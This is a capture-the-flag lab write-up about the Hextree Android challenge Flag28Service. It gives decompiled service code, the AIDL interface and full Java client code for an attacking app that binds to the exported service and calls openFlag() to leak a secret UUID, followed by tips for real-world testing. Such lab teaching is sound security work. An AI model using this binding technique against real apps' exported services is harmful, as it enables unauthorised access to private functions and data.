Flag28Service AIDL Binding Walkthrough (Hextree Lab)
A step-by-step guide to reverse engineering and exploiting an exported Android AIDL-based bound Service from another app.
π Lab Objective
The goal of this Hextree challenge is to interact with an exported bound Android service (Flag28Service
) from a different app (our attacking app) by leveraging AIDL (Android Interface Definition Language). Once the AIDL interface is properly bound and invoked, a flag activity is launched containing a secret UUID.
π Reconnaissance
Inspecting the AndroidManifest of the target app, we find this service:
1
2
3
4
<service
android:name="io.hextree.attacksurface.services.Flag28Service"
android:enabled="true"
android:exported="true"/>
β
The android:exported="true"
line means any app on the device can bind to this service β if it knows how.
π§ Understanding the Service Code
Hereβs what Flag28Service.java
does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Flag28Service extends Service {
public static String secret = UUID.randomUUID().toString();
private final IFlag28Interface.Stub binder = new IFlag28Interface.Stub() {
@Override
public boolean openFlag() throws RemoteException {
return success();
}
public boolean success() {
Intent intent = new Intent();
intent.setClass(Flag28Service.this, Flag28Activity.class);
intent.putExtra("secret", Flag28Service.secret);
intent.addFlags(268468224);
intent.putExtra("hideIntent", true);
Flag28Service.this.startActivity(intent);
return true;
}
};
@Override
public IBinder onBind(Intent intent) {
Log.i("Flag28Service", Utils.dumpIntent(this, intent));
return this.binder;
}
}
- When
openFlag()
is called, it launchesFlag28Activity
with thesecret
in the intent. - That function is exposed via AIDL.
π§ Step-by-Step Exploit via AIDL
1. π Get the AIDL Definition
From decompiled code, we extract the AIDL interface:
1
2
3
4
5
package io.hextree.attacksurface.services;
interface IFlag28Interface {
boolean openFlag();
}
Create this file in your client app:
1
app/src/main/aidl/io/hextree/attacksurface/services/IFlag28Interface.aidl
π AIDL Documentation
Then rebuild the project. This will generate a stub interface your app can use to call the service.
2. ποΈ Create a Client App to Bind to the Service
No special permission is needed to bind to exported services.
HextreeActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class HextreeActivity extends AppCompatActivity {
boolean isBound = false;
IFlag28Interface remoteservice;
ServiceConnection connection = new ServiceConnection() {
public void onServiceConnected(ComponentName name, IBinder service) {
remoteservice = IFlag28Interface.Stub.asInterface(service);
isBound = true;
sendMessageToService();
}
public void onServiceDisconnected(ComponentName name) {
isBound = false;
remoteservice = null;
}
};
public void sendMessageToService() {
if (!isBound) return;
try {
remoteservice.openFlag();
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button attackButton = findViewById(R.id.attack);
attackButton.setOnClickListener(v -> {
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
});
}
@Override
protected void onDestroy() {
if (isBound) {
unbindService(connection);
isBound = false;
}
super.onDestroy();
}
}
Layout: activity_main.xml
1
2
3
4
5
<Button
android:id="@+id/attack"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Launch Flag Service" />
π§ͺ Testing the Attack
- Install the vulnerable target app.
- Install and run your client app.
- Tap the button β it binds to the service.
- Calls
openFlag()
β startsFlag28Activity
with the flag.
π You now have access to the secret UUID stored statically in the service.
π Why This Works
- AIDL enables IPC in Android. If a service is exported and implements an AIDL interface, any app can use it β as long as it has the correct
.aidl
definition. - The Binder framework ensures capability-based access, so possession of the IBinder gives you the power to call the methods.
π Resources
- Android AIDL Guide
- Binder Internals (Google)
- Binder IPC Deep Dive
- Hextree CTF Labs β Android IPC + Reverse Engineering Challenges
π§ Notes for Real-World Testing
- Always check for
exported=true
in the target appβsAndroidManifest.xml
. - Decompile APKs using tools like jadx or apktool to extract
.aidl
files. - Verify if the service performs security checks (e.g., caller package, signature).
β Summary
This lab demonstrates how exported AIDL-based services can become attack surfaces. By reverse engineering the .aidl
, replicating it, and binding from your own app, you can trigger privileged flows like opening hidden activities or leaking secrets β all by using Binder IPC correctly.
The power of Android IPC becomes a vulnerability when misconfigured.
thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter